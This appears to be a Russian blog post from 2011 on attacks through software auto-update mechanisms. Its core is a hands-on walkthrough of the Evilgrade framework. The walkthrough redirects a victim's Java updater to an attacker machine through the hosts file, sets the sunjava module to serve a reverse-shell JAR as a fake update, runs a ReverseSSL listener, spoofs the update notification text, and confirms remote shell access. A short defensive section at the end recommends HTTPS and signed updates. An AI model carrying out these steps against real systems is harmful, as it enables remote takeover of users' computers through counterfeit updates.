Любое современное приложение периодически запрашивает на сервере информацию о новых обновлениях. Это очень удобно: один клик мыши — и в системе уже установлен самый последний релиз программы. Но! Обрадовавшись появлению обновленной версии и согласившись на установку апдейта, пользователь может получить не свежие багфиксы и новые функции, а боевую нагрузку. Вспомни, как обычно выглядит система автоматического обновления какого-то привычного приложения. Программа в какой-то момент выдает сообщение вида: "Доступна новая версия. Пожалуйста, обновитесь", и мы чаще всего сразу же даем отмашку на установку свежего апдейта. Но задумывался ли ты, что там скачивает Skype или Java? Едва ли. Запуская процесс обновления, последнее, чего можно ожидать, — это какой-либо подставы. Как не парадоксально, но этот самый механизм доставки обновлений может стать уязвимым местом всей системы. Причем речь идет не о каких-то левых поделках горе-программистов, а о серьезных продуктах с миллионной армией пользователей. Где изъян?Атаки через системы обновлений приложений известны давно. Все дело в том, что разработчики не сильно утруждают себя задуматься о безопасности механизма доставки обновлений. Чаще всего процесс автоматического апдейта выглядит следующим небезопасным образом:
Вот и все. Никаких тебе проверок подлинности сервера обновлений, сверки цифровой подписи скачанного файла и других элементарных действий, которые могли бы обезопасить процесс обновления. Слепое доверие — по-другому не назовешь. Получается, что ничто не мешает злоумышленнику притвориться сервером обновлений и отправить приложению файл, который оно запустит. Получаем классическую MITM-атаку, позволяющую инжектировать нагрузку через систему обновлений, которая реализуется с помощью ARP-спуфинга либо путем "отравления" DNS-кэша. Если ты думаешь, что это проблема лишь отдельных приложений, то сильно ошибаешься. Исследователь Франциско Амато из команды Infobyte Security Research разработал на Perl модульный фреймворк специально для реализации атак через систему апдейтов. Инструмент называется Evilgrade и включает в себя готовые модули для эксплуатации нехилого списка известных приложений:
и т.д. Каждый модуль отвечает за эмуляцию обновления конкретного приложения. Помимо этого в Evilgrade входят модули, реализующие Web- и DNS-серверы, которые облегчают проведение атаки. Последняя версия была представлена относительно недавно на конференциях Blackhat Arsenal & Defcon 2010. Азы EvilgradeПоскольку фреймворк написан на Perl, то запустить его можно на любой платформе. Я юзал его под виндой, и для правильной работы с Active Perl мне потребовалось установить два пакета: IO::Socket::SSL и Net::SSLeay. В стандартных репозиториях их не оказалось, поэтому я установил их с помощью пакетного менеджера ppm с альтернативных источников. Делает это так: ppm install http://www.sisyphusion.tk/ppm/Net-SSLeay.ppd http://www.sisyphusion.tk/ppm/IOSocket-SSL.ppd После этого Evilgrade будет запускаться и работать без сучка и задоринки. Если ты уже использовал Metasploit, то долго разбираться с Evilgrade не потребуется: синтаксис команд во многом очень похож, а взаимодействие осуществляется так же через интерактивную консоль. Можно запустить приложение и набрать help, чтобы получить список доступных команд: configure <имя модуля> — выбирает текущий модуль и позволяет настроить его параметры; reload — перезагружает список доступных модулей; Понимаю, что от этого списка понятнее ничего не становится. Не волнуйся. Дальше по ходу примера все станет ясно. Как я уже сказал, среди продуктов, подверженных данному виду атак, есть достаточно популярные решения. Возьмем, например, Java, которая требуется для работы многих программ и довольно часто встречается на компьютерах пользователей, и попытаемся с ее помощью получить доступ к удаленному хосту. Думаю, это будет хороший пример.
Тестовая лабораторияИтак, у нас есть два компьютера: один из них, с установленной Java, выступает в роли жертвы, другой (c Evilgrade) — в роли атакующего. Как ты помнишь, для успешного проведения атаки необходимо, чтобы при обращении к серверу обновлений, приложение "попадало" на компьютер атакующего, что обычно делается при помощи ARP-spoofing’а или DNS Cache Poison. Мы немного упростим себе задачу (чтобы в десятый раз не писать об одном и том же) и просто отредактируем файл hosts на машине жертвы, указав в нем в качестве адреса сервера обновлений адрес нашей атакующей машины: 192.168.1.2 java.sun.com Теперь в ход идет Evilgrade. Запускаем его: perl evilgrade Чтобы посмотреть список доступных модулей, вводим "show modules". Список достаточно внушительный, есть из чего выбрать, но нам нужен модуль sunjava. Далее, чтобы сконфигурировать его, вызываем соответствующую команду: > conf sunjava Посмотрим, какие параметры мы можем поменять: > show options После чего получаем следующую таблицу: Name = Sun Microsystems Java Наиболее интересное для нас поле — это agent, представляющее из себя аналог полезной нагрузки (payload) в Metasploit. Проще говоря, тут мы указываем файл, который будет отправлен жертве в качестве обновления. В данном случае — это FunnyClass2.jar. Это reverseshell, который инициирует соединение с 2010 портом атакующей машины. Поэтому перед его использованием надо запустить приложение, которое будет ожидать попыток соединения на 2010 порт. Для этого зайдем в папку include\sunjava\JavaPayload\ и выполним команду: java -cp "JavaPayload.jar:lib/*" javapayload.handler.stager.StagerHandler ReverseSSL 192.168.1.2 2010 -- JSh Теперь можно вернуться к конфигурации модуля. Обрати внимание на поля atitle и adescription. Тут задается сообщение, которое будет появляться в трее, как только Java соединится с нашим сервером и найдет свежие обновления, и после — в процессе выполнения обновления. Все параметры данного модуля можно изменить, используя команду set. Заменим, к примеру, заголовок информационного окна: > set atitle "New version available" Подобным образом можно менять и остальные параметры. Если теперь еще раз ввести команду "show options", то мы увидим изменения в настройках модуля. По сути, сейчас уже можно смело запускать все необходимое для проведения атаки. Делается это командой start. ЭксплуатацияТеперь проверим, как это все работает. Чтобы инициировать процесс обновления на компьютере жертвы, заходим в панель управления, запускаем Java, и в появившемся окне выбираем вкладку "Update", нажимаем кнопку "Update Now". Весь процесс "общения" приложения с сервером обновлений будет отображаться в окне Evilgrade. Посмотреть текущее состояние можно с помощью команды "show status": client = 192.168.1.1 Он указывает, что поддельное обновление было успешно отправлено на машину с адресом 192.168.1.1. Теперь, открыв вторую консоль, ожидавшую подключения, убедимся, что боевая нагрузка успешно была выполнена — и мы имеем reverse shell к удаленному компьютеру. Можно ввести команду help и увидеть список команд, доступных к выполнению на удаленной системе.
Детские болезниКак видишь, даже серьезные приложения могут быть большой проблемой для безопасности компьютера. И пусть в них нет переполнений буфера или прочих ошибок, но неправильно реализованный механизм обновлений превращает их в этакий "черный ход", которым кто-то может воспользоваться. Многие разработчики успели исправить некоторые детские болезни, немного обезопасив процесс обновления. Увы, далеко не всегда это дает нужный эффект. Если поковыряться в исходниках модулей (о том, как они устроены, читай во врезке), которые идут вместе с Evilgrade, несложно найти места, где происходит обход примитивных проверок. Но каким должно быть безопасное обновление? Автор Evilgrade говорит о том, что сервер обновлений должен работать под https и поддерживать сертификаты, а само обновление должно обязательно содержать цифровую подпись, которую можно проверить по публичному ключу. Вроде бы все просто, но проблема по-прежнему есть.
|
31 августа 2011 г.
Опасные обновления: заражение системы через механизм автоапдейтов.
Подписаться на:
Комментарии к сообщению (Atom)
Комментариев нет:
Отправить комментарий